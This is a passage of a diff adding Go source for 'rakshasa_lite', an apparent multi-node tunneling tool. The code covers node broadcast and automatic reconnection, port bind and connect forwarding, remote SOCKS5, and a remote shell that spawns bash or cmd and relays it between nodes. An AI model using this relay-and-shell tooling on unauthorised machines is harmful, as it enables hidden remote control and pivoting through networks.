hostName: m.HostName,
|
||||
conn: n.conn,
|
||||
pongTime: time.Now().Unix(),
|
||||
mainIp: m.MainIp,
|
||||
port: port,
|
||||
goos: m.Goos,
|
||||
}
|
||||
|
||||
return newNode
|
||||
}
|
||||
func allNodesDo(f func(*node) (bool, error)) (err error) {
|
||||
var ok bool
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
for _, n := range nodeMap {
|
||||
if n.uuid != currentNode.uuid {
|
||||
func() {
|
||||
|
||||
l.RUnlock()
|
||||
defer clientLock.RLock(l)
|
||||
ok, err = f(n)
|
||||
}()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
func (n *node) ping(id uint32) {
|
||||
|
||||
l := clientLock.Lock()
|
||||
|
||||
defer func() {
|
||||
l.Unlock()
|
||||
}()
|
||||
now := time.Now()
|
||||
if n.pingTime > n.pongTime {
|
||||
|
||||
if n.conn != nil && n.conn.node.uuid == n.uuid {
|
||||
n.conn.Close("超时关闭")
|
||||
}
|
||||
n.Delete("超时关闭")
|
||||
//尝试重连
|
||||
|
||||
go func() {
|
||||
if !currentConfig.Limit && len(n.mainIp) > 0 {
|
||||
for _, addr := range n.mainIp {
|
||||
_n, _ := connectNew(fmt.Sprintf("%s:%d", addr, n.port))
|
||||
if _n != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
return
|
||||
}
|
||||
n.pingTime = now.Unix()
|
||||
if n.pongTime == 0 {
|
||||
n.pongTime = n.pingTime
|
||||
}
|
||||
|
||||
pingdata := make([]byte, 8)
|
||||
pingdata[0] = byte(n.pingTime & 255)
|
||||
pingdata[1] = byte(n.pingTime >> 8 & 255)
|
||||
pingdata[2] = byte(n.pingTime >> 16 & 255)
|
||||
pingdata[3] = byte(n.pingTime >> 24 & 255)
|
||||
pingdata[4] = byte(n.pingTime >> 32 & 255)
|
||||
pingdata[5] = byte(n.pingTime >> 40 & 255)
|
||||
pingdata[6] = byte(n.pingTime >> 48 & 255)
|
||||
pingdata[7] = byte(n.pingTime >> 56 & 255)
|
||||
msg := &common.Msg{
|
||||
From: currentNode.uuid,
|
||||
To: n.uuid,
|
||||
CmdOpteion: common.CMD_PING,
|
||||
CmdId: id,
|
||||
CmdData: pingdata,
|
||||
}
|
||||
n.WriteMsg(msg)
|
||||
|
||||
n.listenMap.Range(func(key, value interface{}) bool {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
msg.CmdOpteion = common.CMD_PING_LISTEN
|
||||
msg.CmdData = nil
|
||||
n.WriteMsg(msg)
|
||||
case *clientListen:
|
||||
msg.CmdOpteion = common.CMD_PING_LISTEN
|
||||
msg.CmdData = nil
|
||||
v.server.WriteMsg(msg)
|
||||
}
|
||||
|
||||
return true
|
||||
})
|
||||
}
|
||||
func (n *node) Delete(reason string) {
|
||||
go func() {
|
||||
if atomic.CompareAndSwapInt32(&n.isClose, 0, 1) {
|
||||
l := clientLock.Lock()
|
||||
_, ok := nodeMap[n.uuid]
|
||||
if ok {
|
||||
delete(nodeMap, n.uuid)
|
||||
}
|
||||
l.Unlock()
|
||||
n.connMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(common.Conn); ok {
|
||||
v.Close(reason)
|
||||
}
|
||||
n.connMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.udpConnMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(common.Conn); ok {
|
||||
v.Close(reason)
|
||||
}
|
||||
n.udpConnMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.listenMap.Range(func(key, value interface{}) bool {
|
||||
|
||||
if v, ok := value.(*serverListen); ok {
|
||||
v.listen.Close()
|
||||
}
|
||||
n.listenMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
n.shellMap.Range(func(key, value interface{}) bool {
|
||||
v := value.(*remoteCmd)
|
||||
if v.cmd != nil {
|
||||
v.cmd.Process.Kill()
|
||||
}
|
||||
n.shellMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
}()
|
||||
|
||||
}
|
||||
func (n *node) broadcastNode() {
|
||||
|
||||
//广播新增节点
|
||||
nmsg := &nodeInfo{
|
||||
UUID: n.uuid,
|
||||
HostName: cert.RSAEncrypterStr(n.hostName),
|
||||
MainIp: cert.RSAEncrypterStr(n.mainIp),
|
||||
Port: cert.RSAEncrypterStr(fmt.Sprint(n.port)),
|
||||
Goos: cert.RSAEncrypterStr(n.goos),
|
||||
}
|
||||
|
||||
b, _ := json.Marshal(nmsg)
|
||||
writemsg := &common.Msg{
|
||||
From: currentNode.uuid,
|
||||
To: common.BroadcastUUID.String(),
|
||||
CmdOpteion: common.CMD_ADD_NODE,
|
||||
CmdData: b,
|
||||
}
|
||||
go allNodesDo(func(_n *node) (bool, error) {
|
||||
|
||||
if _n.uuid != currentNode.uuid {
|
||||
|
||||
_n.WriteMsg(writemsg)
|
||||
}
|
||||
return true, nil
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
func GetNodeFromAddrs(dst []string) (n *node, err error) {
|
||||
if len(dst) == 0 {
|
||||
return nil, errors.New("参数错误,目标节点为空")
|
||||
}
|
||||
if n, err = getNode(dst[0]); err != nil {
|
||||
return
|
||||
}
|
||||
if n.uuid == currentNode.uuid {
|
||||
return nil, errors.New("不能连接自己")
|
||||
}
|
||||
for i := 1; i < len(dst); i++ {
|
||||
n, err = n.remoteReg(dst[i])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%s,%v", dst[i], err)
|
||||
}
|
||||
if n.uuid == currentNode.uuid {
|
||||
return nil, errors.New("不能连接自己")
|
||||
}
|
||||
}
|
||||
n.reConnectAddrs = make([]string, len(dst))
|
||||
copy(n.reConnectAddrs, dst)
|
||||
return
|
||||
}
|
||||
|
||||
// 储存并返回id
|
||||
func (n *node) storeQuery(v chan interface{}) (newID uint32) {
|
||||
|
||||
for {
|
||||
newID = common.GetConnID()
|
||||
if newID == 0 {
|
||||
continue
|
||||
}
|
||||
if _, ok := n.queryMap.LoadOrStore(newID, v); !ok {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
func (n *node) loadQuery(id uint32) (v chan interface{}, ok bool) {
|
||||
value, ok := n.queryMap.Load(id)
|
||||
if ok {
|
||||
v = value.(chan interface{})
|
||||
}
|
||||
return v, ok
|
||||
}
|
||||
func (n *node) deleteQuery(id uint32) {
|
||||
n.queryMap.Delete(id)
|
||||
}
|
||||
func (n *node) storeConn(v common.Conn) (newID uint32) {
|
||||
|
||||
for {
|
||||
newID = common.GetConnID()
|
||||
if newID == 0 {
|
||||
continue
|
||||
}
|
||||
if _, ok := n.connMap.LoadOrStore(newID, v); !ok {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) writeGetNodeResult(id uint32) {
|
||||
l := clientLock.RLock()
|
||||
|
||||
defer l.RUnlock()
|
||||
|
||||
var s []*nodeInfo
|
||||
|
||||
for _, _n := range nodeMap {
|
||||
if _n.uuid != currentNode.uuid {
|
||||
s = append(s, &nodeInfo{
|
||||
UUID: _n.uuid,
|
||||
HostName: cert.RSAEncrypterStr(_n.hostName),
|
||||
MainIp: cert.RSAEncrypterStr(_n.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(_n.port)),
|
||||
Goos: cert.RSAEncrypterStr(_n.goos),
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
b, _ := json.Marshal(s)
|
||||
n.Write(common.CMD_GET_NODE_RESULT, id, b)
|
||||
}
|
||||
func (n *node) updateNode(msg nodeInfo) {
|
||||
n.hostName = msg.HostName
|
||||
n.mainIp = msg.MainIp
|
||||
n.port, _ = strconv.Atoi(msg.Port)
|
||||
n.goos = msg.Goos
|
||||
}
|
||||
@@ -0,0 +1,228 @@
|
||||
package server
|
||||
|
||||
import "strings"
|
||||
|
||||
func orderNode(list []*node) {
|
||||
f := func(a, b *node) bool {
|
||||
if strings.Contains(a.addr, "(localhost)") {
|
||||
return true
|
||||
} else if strings.Contains(b.addr, "(localhost)") {
|
||||
return false
|
||||
}
|
||||
return a.uuid < b.uuid
|
||||
}
|
||||
max_len := len(list)
|
||||
tmp := make([]*node, max_len)
|
||||
for i := 0; i < max_len-max_len&1; i += 2 {
|
||||
if f(list[i+1], list[i]) {
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
}
|
||||
|
||||
}
|
||||
for i := 0; i < max_len-max_len&3; i += 4 {
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i], list[i+2] = list[i+2], list[i]
|
||||
}
|
||||
if f(list[i+3], list[i+1]) {
|
||||
list[i+1], list[i+3] = list[i+3], list[i+1]
|
||||
}
|
||||
if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
|
||||
}
|
||||
if max_len&3 == 3 {
|
||||
i := max_len - 3
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
} else if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
}
|
||||
var step, l, max, r int
|
||||
step = 4
|
||||
for step < max_len {
|
||||
step <<= 1
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(list[r], list[l])) {
|
||||
tmp[index] = list[r]
|
||||
r++
|
||||
} else {
|
||||
tmp[index] = list[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
if step < max_len {
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
|
||||
list[index] = tmp[r]
|
||||
r++
|
||||
} else {
|
||||
list[index] = tmp[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
copy(list, tmp)
|
||||
}
|
||||
}
|
||||
}
|
||||
func orderClientListen(list []*clientListen) {
|
||||
f := func(a, b *clientListen) bool {
|
||||
return a.id < b.id
|
||||
}
|
||||
max_len := len(list)
|
||||
tmp := make([]*clientListen, max_len)
|
||||
for i := 0; i < max_len-max_len&1; i += 2 {
|
||||
if f(list[i+1], list[i]) {
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
}
|
||||
|
||||
}
|
||||
for i := 0; i < max_len-max_len&3; i += 4 {
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i], list[i+2] = list[i+2], list[i]
|
||||
}
|
||||
if f(list[i+3], list[i+1]) {
|
||||
list[i+1], list[i+3] = list[i+3], list[i+1]
|
||||
}
|
||||
if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
|
||||
}
|
||||
if max_len&3 == 3 {
|
||||
i := max_len - 3
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
} else if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
}
|
||||
var step, l, max, r int
|
||||
step = 4
|
||||
for step < max_len {
|
||||
step <<= 1
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(list[r], list[l])) {
|
||||
tmp[index] = list[r]
|
||||
r++
|
||||
} else {
|
||||
tmp[index] = list[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
if step < max_len {
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
|
||||
list[index] = tmp[r]
|
||||
r++
|
||||
} else {
|
||||
list[index] = tmp[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
copy(list, tmp)
|
||||
}
|
||||
}
|
||||
}
|
||||
func orderHttpProxy(list []*httpProxyClient) {
|
||||
f := func(a, b *httpProxyClient) bool {
|
||||
return a.id < b.id
|
||||
}
|
||||
max_len := len(list)
|
||||
tmp := make([]*httpProxyClient, max_len)
|
||||
for i := 0; i < max_len-max_len&1; i += 2 {
|
||||
if f(list[i+1], list[i]) {
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
}
|
||||
|
||||
}
|
||||
for i := 0; i < max_len-max_len&3; i += 4 {
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i], list[i+2] = list[i+2], list[i]
|
||||
}
|
||||
if f(list[i+3], list[i+1]) {
|
||||
list[i+1], list[i+3] = list[i+3], list[i+1]
|
||||
}
|
||||
if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
|
||||
}
|
||||
if max_len&3 == 3 {
|
||||
i := max_len - 3
|
||||
if f(list[i+2], list[i]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
list[i], list[i+1] = list[i+1], list[i]
|
||||
} else if f(list[i+2], list[i+1]) {
|
||||
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||
}
|
||||
}
|
||||
var step, l, max, r int
|
||||
step = 4
|
||||
for step < max_len {
|
||||
step <<= 1
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(list[r], list[l])) {
|
||||
tmp[index] = list[r]
|
||||
r++
|
||||
} else {
|
||||
tmp[index] = list[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
if step < max_len {
|
||||
for i := 0; i < max_len; i += step {
|
||||
l, r, max = i, i+step/2, i+step
|
||||
if max > max_len {
|
||||
max = max_len
|
||||
}
|
||||
for index := i; index < max; index++ {
|
||||
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
|
||||
list[index] = tmp[r]
|
||||
r++
|
||||
} else {
|
||||
list[index] = tmp[l]
|
||||
l++
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
copy(list, tmp)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"cert"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa_lite/common"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
// clientListenMap = make(map[uint32]*remoteListen)
|
||||
// connectMap = make(map[uint32]*rawConnect)
|
||||
)
|
||||
|
||||
type clientListen struct {
|
||||
id uint32
|
||||
localAddr string
|
||||
remoteAddr string
|
||||
server *node
|
||||
typ string
|
||||
openOption byte
|
||||
openMsg []byte //掉线重连会用到
|
||||
connMap sync.Map //clientListen关闭的时候关掉这里的id
|
||||
listen net.Listener
|
||||
result chan interface{}
|
||||
randkey []byte //随机key int64
|
||||
}
|
||||
|
||||
func StartRawBind(str string, dst []string) error {
|
||||
n, err := GetNodeFromAddrs(dst)
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
addrs, err := common.ResolveTCPAddr(str)
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
if len(addrs) != 2 {
|
||||
return errors.New("参数错误,格式为ip:port,remote_ip:remote_port")
|
||||
}
|
||||
|
||||
l := &clientListen{
|
||||
id: common.GetID(),
|
||||
localAddr: addrs[0],
|
||||
remoteAddr: addrs[1],
|
||||
server: n,
|
||||
typ: "bind",
|
||||
result: make(chan interface{}),
|
||||
openOption: common.CMD_LISTEN,
|
||||
randkey: make([]byte, 8),
|
||||
}
|
||||
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
l.openMsg = cert.RSAEncrypterByPrivByte(append(l.randkey, []byte(addrs[1])...))
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
n.Write(l.openOption, l.id, l.openMsg)
|
||||
select {
|
||||
case res := <-l.result:
|
||||
|
||||
if err, ok := res.(error); ok {
|
||||
l.Close(remoteClose)
|
||||
currentNode.listenMap.Delete(l.id)
|
||||
return err
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
l.Close(remoteClose)
|
||||
currentNode.listenMap.Delete(l.id)
|
||||
return fmt.Errorf("listen %s fail time out", addrs[1])
|
||||
|
||||
}
|
||||
fmt.Println("bind 启动成功")
|
||||
//l := clientLock.Lock()
|
||||
|
||||
//clientListenMap[b.id] = b
|
||||
//l.Unlock()
|
||||
return nil
|
||||
}
|
||||
func StartRawConnect(str string, n *node) error {
|
||||
addrs, err := common.ResolveTCPAddr(str)
|
||||
if len(addrs) != 2 || err != nil {
|
||||
return errors.New("-connect参数错误,格式为ip:port,remote_ip:remote_port")
|
||||
}
|
||||
|
||||
addr1, _ := net.ResolveTCPAddr("tcp", addrs[1])
|
||||
listen, err := net.Listen("tcp", addrs[0])
|
||||
if err != nil {
|
||||
return errors.New("监听本地端口" + addrs[0] + "失败 " + err.Error())
|
||||
}
|
||||
|
||||
l := &clientListen{
|
||||
id: common.GetID(),
|
||||
localAddr: addrs[0],
|
||||
remoteAddr: addrs[1],
|
||||
listen: listen,
|
||||
server: n,
|
||||
typ: "connect",
|
||||
randkey: make([]byte, 8),
|
||||
}
|
||||
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
|
||||
go func() {
|
||||
for {
|
||||
conn, err := listen.Accept()
|
||||
if err != nil {
|
||||
if err.(*net.OpError).Err == net.ErrClosed {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
s := &clientConnect{
|
||||
conn: conn,
|
||||
server: n,
|
||||
randkey: l.randkey,
|
||||
}
|
||||
s.OnOpened()
|
||||
if s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port)) {
|
||||
go rawHandleLocal(s)
|
||||
} else {
|
||||
s.Close(nodeIsClose)
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
func (l *clientListen) Close(reason string) {
|
||||
l.connMap.Range(func(key, value interface{}) bool {
|
||||
value.(*clientConnect).Close(reason)
|
||||
l.connMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
l.server.listenMap.Delete(l.id)
|
||||
if l.listen != nil {
|
||||
l.listen.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func rawHandleLocal(s *clientConnect) {
|
||||
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||
|
||||
for {
|
||||
n, err := s.conn.Read(buf[8:])
|
||||
if err != nil {
|
||||
|
||||
s.Close(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
var new_size int64
|
||||
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
|
||||
atomic.AddInt64(&s.windowsSize, new_size)
|
||||
|
||||
} else {
|
||||
new_size = 0
|
||||
}
|
||||
buf[0] = byte(new_size)
|
||||
buf[1] = byte(new_size >> 8)
|
||||
buf[2] = byte(new_size >> 16)
|
||||
buf[3] = byte(new_size >> 24)
|
||||
buf[4] = byte(new_size >> 32)
|
||||
buf[5] = byte(new_size >> 40)
|
||||
buf[6] = byte(new_size >> 48)
|
||||
buf[7] = byte(new_size >> 56)
|
||||
|
||||
data := make([]byte, 8+n)
|
||||
copy(data, buf)
|
||||
s.server.Write(common.CMD_CONN_MSG, s.id, buf[:8+n])
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"net"
|
||||
"rakshasa_lite/common"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
func (l *serverListen) Lisen() {
|
||||
|
||||
for {
|
||||
c, err := l.listen.Accept()
|
||||
if err != nil {
|
||||
if err.(*net.OpError).Err == net.ErrClosed {
|
||||
return
|
||||
}
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
conn := &serverConnect{}
|
||||
conn.conn = c
|
||||
conn.address = c.RemoteAddr().String()
|
||||
conn.node = l.node
|
||||
conn.write = make(chan *bytes.Buffer, 64)
|
||||
|
||||
if l.isSocks5 {
|
||||
conn.id = l.id
|
||||
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...))
|
||||
go conn.handTcpReceive()
|
||||
return
|
||||
}
|
||||
conn.id = l.node.storeConn(conn)
|
||||
|
||||
b := make([]byte, 4)
|
||||
b[0] = byte(conn.id)
|
||||
b[1] = byte(conn.id >> 8)
|
||||
b[2] = byte(conn.id >> 16)
|
||||
b[3] = byte(conn.id >> 24)
|
||||
conn.node.Write(common.CMD_CONNECT_BYID, l.id, append(l.randkey, b...))
|
||||
l.connMap.Store(conn.id, conn)
|
||||
go conn.handTcpReceive()
|
||||
|
||||
}
|
||||
}
|
||||
func (l *serverListen) Close(reason string) {
|
||||
if atomic.CompareAndSwapInt32(&l.close, 0, 1) {
|
||||
if l.listen != nil {
|
||||
l.listen.Close()
|
||||
}
|
||||
l.connMap.Range(func(key, value interface{}) bool {
|
||||
if reason != remoteClose {
|
||||
l.node.Write(common.CMD_DELETE_CONNID, value.(*serverConnect).id, nil)
|
||||
}
|
||||
l.connMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
if reason != remoteClose {
|
||||
|
||||
l.node.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"cert"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"math/rand"
|
||||
"rakshasa_lite/common"
|
||||
"time"
|
||||
)
|
||||
|
||||
func StartRemoteSocks5(cfg *common.Addr, n *node) error {
|
||||
|
||||
l := &clientListen{
|
||||
id: common.GetID(),
|
||||
localAddr: "",
|
||||
remoteAddr: cfg.Addr(),
|
||||
server: n,
|
||||
typ: "socks5",
|
||||
result: make(chan interface{}),
|
||||
randkey: make([]byte, 8),
|
||||
}
|
||||
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
l.openOption = common.CMD_REMOTE_SOCKS5
|
||||
l.openMsg = cert.RSAEncrypterByPrivByte(append(l.randkey, cfg.String()...))
|
||||
n.Write(l.openOption, l.id, l.openMsg)
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
select {
|
||||
case res := <-l.result:
|
||||
if err, ok := res.(error); ok {
|
||||
l.Close(remoteClose)
|
||||
return err
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
l.Close(remoteClose)
|
||||
return errors.New("time out")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package server
|
||||
|
||||
/*
|
||||
*高级shell功能
|
||||
*node节点管理、remoteShell远程shell,config配置管理
|
||||
*/
|
||||
import (
|
||||
"github.com/creack/pty"
|
||||
"io"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
shellMapLock sync.Mutex
|
||||
)
|
||||
|
||||
type StartCmdParam struct {
|
||||
Param string
|
||||
Size *pty.Winsize
|
||||
}
|
||||
type remoteCmd struct {
|
||||
cmdStatus int32
|
||||
cmd *exec.Cmd
|
||||
id uint32
|
||||
stdin io.WriteCloser
|
||||
inChan chan []byte
|
||||
translate func(in []byte) ([]byte, error)
|
||||
ping, pong int64
|
||||
}
|
||||
|
||||
func getRealPath(path string) string {
|
||||
|
||||
path_s := strings.Split(path, "/")
|
||||
realpath := []string{}
|
||||
if len(path_s) == 0 {
|
||||
return "error"
|
||||
}
|
||||
for _, value := range path_s {
|
||||
|
||||
if value == ".." {
|
||||
k := len(realpath)
|
||||
kk := k - 1
|
||||
realpath = append(realpath[:kk], realpath[k:]...)
|
||||
} else {
|
||||
realpath = append(realpath, value)
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(realpath, "/")
|
||||
}
|
||||
|
||||
func getNode(arg string) (*node, error) {
|
||||
l := clientLock.RLock()
|
||||
|
||||
id, err := strconv.Atoi(arg)
|
||||
|
||||
if err == nil {
|
||||
for _, n := range nodeMap {
|
||||
if n.id == id && n.uuid != currentNode.uuid {
|
||||
l.RUnlock()
|
||||
return n, nil
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v, ok := nodeMap[arg]; ok && v.uuid != currentNode.uuid {
|
||||
l.RUnlock()
|
||||
return v, nil
|
||||
}
|
||||
}
|
||||
l.RUnlock()
|
||||
|
||||
return connectNew(arg)
|
||||
}
|
||||
func getNodeWithCurrentNode(arg string) (*node, error) {
|
||||
l := clientLock.RLock()
|
||||
|
||||
id, err := strconv.Atoi(arg)
|
||||
|
||||
if err == nil {
|
||||
for _, n := range nodeMap {
|
||||
if n.id == id {
|
||||
l.RUnlock()
|
||||
return n, nil
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v, ok := nodeMap[arg]; ok {
|
||||
l.RUnlock()
|
||||
return v, nil
|
||||
}
|
||||
}
|
||||
l.RUnlock()
|
||||
|
||||
return connectNew(arg)
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
//go:build linux || darwin
|
||||
// +build linux darwin
|
||||
|
||||
package server
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"os/exec"
|
||||
"rakshasa_lite/common"
|
||||
"time"
|
||||
|
||||
"github.com/creack/pty"
|
||||
)
|
||||
|
||||
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
|
||||
if param.Param == "" {
|
||||
param.Param = "/bin/bash"
|
||||
}
|
||||
shellMapLock.Lock()
|
||||
defer func() {
|
||||
shellMapLock.Unlock()
|
||||
}()
|
||||
|
||||
cmd := &remoteCmd{
|
||||
id: common.GetID(),
|
||||
inChan: make(chan []byte),
|
||||
|
||||
translate: func(in []byte) ([]byte, error) { return in, nil },
|
||||
pong: time.Now().Unix(),
|
||||
}
|
||||
|
||||
cmd.cmd = exec.Command(param.Param)
|
||||
f, err := pty.StartWithSize(cmd.cmd, param.Size)
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
cmd.stdin = f
|
||||
outErr := make(chan error, 999)
|
||||
|
||||
n.shellMap.Store(cmd.id, cmd)
|
||||
|
||||
go func(cmd *remoteCmd) {
|
||||
defer func() {
|
||||
n.shellMap.Delete(cmd.id)
|
||||
f.Close()
|
||||
cmd.stdin.Close()
|
||||
}()
|
||||
errChan := make(chan error, 999)
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case b := <-cmd.inChan:
|
||||
if len(b) == 0 { //ping数据包
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
|
||||
} else {
|
||||
|
||||
_, err = cmd.stdin.Write(b)
|
||||
if err != nil {
|
||||
errChan <- err
|
||||
}
|
||||
}
|
||||
|
||||
case err = <-errChan:
|
||||
|
||||
cmd.cmd.Process.Kill()
|
||||
case err = <-outErr:
|
||||
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
|
||||
cmd.cmd.Process.Kill()
|
||||
return
|
||||
case <-time.After(common.CMD_TIMEOUT): //避免超时
|
||||
cmd.cmd.Process.Kill()
|
||||
return
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||
for {
|
||||
num, err2 := f.Read(buf)
|
||||
if err2 != nil || io.EOF == err2 {
|
||||
outErr <- errors.New("退出shell")
|
||||
break
|
||||
}
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
|
||||
|
||||
}
|
||||
|
||||
}()
|
||||
|
||||
cmd.cmd.Wait()
|
||||
}(cmd)
|
||||
n.Write(common.CMD_SHELL_RESULT, msgid, []byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 1})
|
||||
return nil
|
||||
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package server
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"rakshasa_lite/common"
|
||||
"time"
|
||||
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
|
||||
if param.Param == "" {
|
||||
param.Param = "cmd"
|
||||
}
|
||||
shellMapLock.Lock()
|
||||
defer func() {
|
||||
|
||||
shellMapLock.Unlock()
|
||||
}()
|
||||
|
||||
cmd := &remoteCmd{
|
||||
id: common.GetID(),
|
||||
inChan: make(chan []byte),
|
||||
translate: func(in []byte) ([]byte, error) { return in, nil },
|
||||
pong: time.Now().Unix(),
|
||||
}
|
